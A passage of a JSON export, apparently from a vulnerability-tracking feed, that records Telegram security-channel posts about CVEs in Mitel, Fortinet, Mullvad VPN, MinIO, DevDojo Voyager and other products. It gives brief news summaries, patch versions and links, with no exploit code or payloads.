\u0432\u0435\u0440\u0441\u0438\u0439 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u043e\u0435\u0433\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u0430.\n\nMitel \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e SQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-52914) \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b MiCollab, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 SQL \u043d\u0430 \u043d\u0435\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0431\u0435\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u043b\u043e.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 MiCollab (CVE-2024-55550 \u0438 CVE-2024-41713) \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0427\u0442\u043e \u043d\u0435 \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0432\u0435\u0434\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Mitel \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 60 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u0431\u043e\u043b\u0435\u0435 75 \u043c\u043b\u043d. \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435, \u0444\u0438\u043d\u0430\u043d\u0441\u044b, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u043a\u0442\u043e\u0440.", "creation_timestamp": "2025-07-24T17:29:30.000000Z"}, {"uuid": "7276137c-41fc-4034-a26f-a886034a2ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "Telegram/rldrVU4EbTTnPd8U3W40-F0FQeroqHkK7JRuQCr9iPTQCg8", "content": "", "creation_timestamp": "2025-07-06T03:00:04.000000Z"}, {"uuid": "68280af6-7944-4ebf-b0b7-cf92a80cb133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/itsec_news/5763", "content": "\u200b\u26a1\ufe0fSet_password, \u0438 \u0432\u0443\u0430\u043b\u044f: FortiSwitch \u0441\u0430\u043c \u043e\u0442\u0434\u0430\u0451\u0442 \u043a\u043b\u044e\u0447\u0438\n\n\ud83d\udcac Fortinet \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 FortiSwitch, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 FortiSwitch \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-48887 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8).\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043f\u0430\u0440\u043e\u043b\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 FortiSwitch. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 endpoint set_password \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0410\u0442\u0430\u043a\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0451 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u2014 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u0433\u0434\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043e\u0442\u043a\u0440\u044b\u0442.\n\n\u041f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043f\u043e\u043f\u0430\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 FortiSwitch \u043e\u0442 6.4.0 \u0434\u043e 7.6.0. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 6.4.15, 7.0.11, 7.2.9, 7.4.5 \u0438 7.6.1. \u0422\u0435\u043c, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, Fortinet \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c HTTP \u0438 HTTPS-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0441 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u0422\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c OS command injection \u0432 FortiIsolator (CVE-2024-54024) \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 MitM-\u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 FortiOS, FortiProxy, FortiManager, FortiAnalyzer, FortiVoice \u0438 FortiWeb (CVE-2024-26013 \u0438 CVE-2024-50565). \u0412\u0441\u0435 \u043e\u043d\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\nFortinet \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f. \u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 DeepData \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 Zero-Day \u0432 Windows-\u043a\u043b\u0438\u0435\u043d\u0442\u0435 FortiClient VPN. \u0415\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u2014 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0441 \u0438\u044e\u043d\u044f 2024 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-47575, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u043c\u044f FortiJump , \u2014 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0431\u043e\u043b\u0435\u0435 50 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 FortiManager.\n\n\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u2014 CVE-2024-55591 \u0438 CVE-2025-24472 \u2014 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439. \u0412\u0441\u0435 \u044d\u0442\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Fortinet \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0444\u043e\u043a\u0443\u0441\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0430 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nFortinet \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0440\u043e\u0441\u0442\u0430 \u0447\u0438\u0441\u043b\u0430 \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-04-11T05:28:39.000000Z"}, {"uuid": "d1befeaa-c79e-49cc-9608-a3e819b09b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55884", "type": "seen", "source": "https://t.me/CyberBulletin/10688", "content": "Unlike the Ivanti vulnerabilities, exploitation here requires valid user credentials. By submitting specially crafted session attributes during SSL VPN establishment, an authenticated attacker could repeatedly crash the VPN server, disrupting service for legitimate users.\n\nWhile the server automatically recovers after each crash, sustained exploitation could render VPN services effectively unusable for extended periods.\n\n\n---\n\nCVE-2024-55884: Critical Vulnerability in Mullvad VPN Applications\n\nIn an independent white-box security review conducted by X41 D-Sec GmbH, several serious vulnerabilities were discovered in Mullvad VPN across all platforms. The most severe, CVE-2024-55884 (CVSS 9.0), involved an out-of-bounds memory write caused by insufficiently sized alternate signal stacks in exception handlers.\n\nImpact:\n\nUnder carefully engineered conditions, an attacker could remotely trigger signals causing memory corruption, potentially leading to heap overflows and application compromise. The underlying issue stemmed from poor management of Unix signal handling (exception_logging/unix.rs).\n\n\n---\n\nConclusion\n\nThe vulnerabilities revealed over the past six months provide a stark reminder: VPNs, while often marketed as silver bullets for privacy and security, can themselves introduce significant risks. As sophisticated threat actors continue targeting VPN infrastructures, organizations and individuals must remain vigilant \u2014 promptly applying patches, retiring unsupported systems, and reassessing their dependency on VPN technologies as a cornerstone of security strategies.\n\nSecurity through obscurity is no longer sufficient. Zero-trust principles, segmentation, and layered defenses must complement traditional VPN deployments to effectively mitigate modern threats.\n\n#HackersFactory", "creation_timestamp": "2025-04-27T03:42:30.000000Z"}, {"uuid": "f1b7e6b8-e5da-47cd-8aa0-cfae90d34580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/TheDarkWebInformer/18767", "content": "\ud83d\udea8Alleged Sale of Mass Exploit for FortiGate targeting CVE-2024-55591", "creation_timestamp": "2025-07-04T18:07:57.000000Z"}, {"uuid": "774d680a-0e03-4946-aee2-e19ba3ee2ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55949", "type": "seen", "source": "https://t.me/CyberBulletin/1775", "content": "\u26a1\ufe0fCVE-2024-55949 (CVSS 9.3): Critical MinIO Flaw Allows Any User to Gain Full Admin Privileges.\n\n#CyberBulletin", "creation_timestamp": "2024-12-18T07:13:05.000000Z"}, {"uuid": "0d2929a8-55ac-42bd-b274-952e5b6195e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "https://t.me/CyberBulletin/1771", "content": "\u26a1\ufe0fCVE-2024-55875 (CVSS 9.8): Critical XXE Vulnerability Found in http4k Toolkit.\n\n#CyberBulletin", "creation_timestamp": "2024-12-17T12:41:04.000000Z"}, {"uuid": "231d50d4-0bdb-472a-b387-e69ff96c82db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "https://t.me/CyberBulletin/1766", "content": "\u26a1\ufe0fCVE-2024-55661: RCE Vulnerability Discovered in Laravel Pulse Monitoring Tool.\n\n#CyberBulletin", "creation_timestamp": "2024-12-17T08:00:16.000000Z"}, {"uuid": "3dc8ac71-356c-42f0-b27f-d1e2f6860cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55416", "type": "seen", "source": "https://t.me/cvedetector/16803", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55416 - DevDojo Voyager Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-55416 \nPublished : Jan. 30, 2025, 3:15 p.m. | 1\u00a0hour, 48\u00a0minutes ago \nDescription : DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T18:27:08.000000Z"}, {"uuid": "75d1dff3-2844-425f-93a1-24c475f8c989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55884", "type": "seen", "source": "https://t.me/CyberBulletin/1756", "content": "\u26a1\ufe0fCVE-2024-55884 (CVSS 9.0): Critical Vulnerability Found in Mullvad VPN.\n\n#CyberBulletin", "creation_timestamp": "2024-12-16T05:51:19.000000Z"}, {"uuid": "87aea791-2214-448c-888a-d38828085381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "seen", "source": "https://t.me/cvedetector/16802", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55415 - DevDojo Voyager Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55415 \nPublished : Jan. 30, 2025, 3:15 p.m. | 1\u00a0hour, 48\u00a0minutes ago \nDescription : DevDojo Voyager through 1.8.0 is vulnerable to path traversal at the /admin/compass. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T18:27:07.000000Z"}, {"uuid": "fc43f17a-a200-45a0-9295-f181aaca3af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55563", "type": "seen", "source": "https://t.me/CyberBulletin/1720", "content": "\u26a1\ufe0fCVE-2024-55563: Transaction-Relay Jamming Vulnerability Poses Threat to Bitcoin Lightning Network.\n\n#CyberBulletin", "creation_timestamp": "2024-12-09T13:15:05.000000Z"}, {"uuid": "8437bd4b-c3c1-4ee3-897f-403a1edce269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://t.me/CyberBulletin/1717", "content": "\u26a1\ufe0fCVE-2024-55579 &amp; CVE-2024-55580: Qlik Sense Users Face Serious Security Risk.\n\n#CyberBulletin", "creation_timestamp": "2024-12-09T13:14:06.000000Z"}, {"uuid": "f1f29d90-a9ff-4483-9d48-5e62aaca27a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55580", "type": "seen", "source": "https://t.me/CyberBulletin/1717", "content": "\u26a1\ufe0fCVE-2024-55579 &amp; CVE-2024-55580: Qlik Sense Users Face Serious Security Risk.\n\n#CyberBulletin", "creation_timestamp": "2024-12-09T13:14:06.000000Z"}, {"uuid": "c26f09de-5f22-44bf-ab40-87740b0b85f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/445", "content": "Top Security News for Today\n\nAn Introduction to Data Masking in Privacy Engineering  \nhttps://www.tripwire.com/state-of-security/introduction-data-masking-privacy-engineering\n\nMAS Compliance 101: Key Regulations for Financial Institutions in Singapore  \nhttps://www.tripwire.com/state-of-security/mas-compliance-key-regulations-financial-institutions-singapore\n\nFrida 16.7.0 is out w/ brand new APIs for observing the lifecycles of threads and modules  \nhttps://www.reddit.com/r/netsec/comments/1jjg9kq/frida_1670_is_out_w_brand_new_apis_for_observing/\n\nReport on Paragon Spyware  \nhttps://www.schneier.com/blog/archives/2025/03/report-on-paragon-spyware.html\n\nCVE-2025-26633: How Water Gamayun Weaponizes MUIPath using MSC EvilTwin  \nhttps://www.trendmicro.com/en_us/research/25/c/cve-2025-26633-water-gamayun.html\n\nCVE-2024-55963: Unauthenticated RCE in Default-Install of Appsmith  \nhttps://www.reddit.com/r/netsec/comments/1jjnjam/cve202455963_unauthenticated_rce_in/\n\nFollow Top Cyber News at https://t.me/TopCyberTechNews Feel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2025-03-26T09:30:16.000000Z"}, {"uuid": "386086ac-b9e7-4695-9bf5-5d28a80e7da4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "seen", "source": "https://t.me/ap_security/566", "content": "#pentest\n\n\ud83d\udce3 CVE-2024-5522 (CVSS 10)\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 